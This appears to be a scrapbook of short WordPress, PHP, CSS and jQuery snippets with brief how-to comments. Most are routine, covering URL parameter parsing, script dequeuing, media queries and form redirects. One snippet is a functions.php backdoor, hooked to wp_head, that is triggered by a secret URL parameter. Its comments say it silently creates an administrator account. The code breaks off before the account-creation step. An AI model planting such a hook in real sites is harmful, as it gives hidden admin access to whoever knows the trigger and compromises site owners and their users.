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//Trim and get the value of URL parameter from URL
var getUrlParameter = function getUrlParameter(sParam) {
    var sPageURL = window.location.search.substring(1),
        sURLVariables = sPageURL.split('&'),
        sParameterName,
        i;

    for (i = 0; i < sURLVariables.length; i++) {
        sParameterName = sURLVariables[i].split('=');

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//Here is the full video: https://youtu.be/F2dFOSIivRA

//Dequeue Elementor Pro smartmenus script
function elementor_pro_dequeue_script(){
	wp_dequeue_script('smartmenus');
}
add_action('wp_footer', 'elementor_pro_dequeue_script', 15);

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/* Smartphones (portrait and landscape) ----------- */
@media only screen and (min-device-width : 320px) and (max-device-width : 480px) {
/* Styles */
}

/* Smartphones (landscape) ----------- */
@media only screen and (min-width : 321px) {
/* Styles */
}

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$_GET and $_POST are Superglobal variables in PHP which used to collect data from HTML form and URL.

There are two ways the browser(client) can send information to the web server.

-The GET Method
-The POST Method

*********The GET Method*********
In PHP, the $_GET variable is used to collect values from HTML forms using method get.
Information sent from an HTML form with the GET method is displayed in the browser's address bar, and it has a limit on the amount of information to send.

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//Hit this URL after put code on functions.php : http://www.yourdomain.com/?backdoor=knockknock
//It will create username= name ; password= pass ; role= administrator on your wordpress backend users.
//After that you can login on your site with this username and password.
//change the 'backdoor' , 'knockknock' , 'name', 'pass' string on your code as your desire texts

<?php
add_action('wp_head', 'wploop_backdoor'); 
function wploop_backdoor() {
        If ($_GET['backdoor'] == 'knockknock') {
                require('wp-includes/registration.php');

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/********************************************************************************************
*Add this on functions.php of your WordPress
*********************************************************************************************/

function add_content_after_addtocart() {

    // get the current post/product ID
    $current_product_id = get_the_ID();

    // get the product based on the ID

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//For one page
add_action('wp_print_scripts', function () {
	 if ( !is_page('contact-us') ){
		wp_dequeue_script( 'google-recaptcha' );
	}
});


//For multiple pages
add_action('wp_print_scripts', function () {

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<script type="text/javascript"> 

$(document).ready(function(){
if ($('.mwd-success').css('display') == 'block') {
    $('.email-confirm-sub').css('display', 'none');
}
});

</script>

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To know the differnce of these 3 function of WP, we need to print this 3 function.
Lets say, Our theme name is "wp-rootstrap". We create a child theme named, "wp-rootstrap-child". Inside child theme, we created header.php
and write the bellow codes to see the results. 


<?php echo get_stylesheet_directory_uri() ."<br>"; ?>
<?php echo get_template_directory_uri() ."<br>"; ?> 
<?php echo get_stylesheet_uri() ."<br>"; ?> 

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<script>
document.addEventListener( 'wpcf7mailsent', function( event ) {
    location = 'http://example.com/';
}, false );
</script>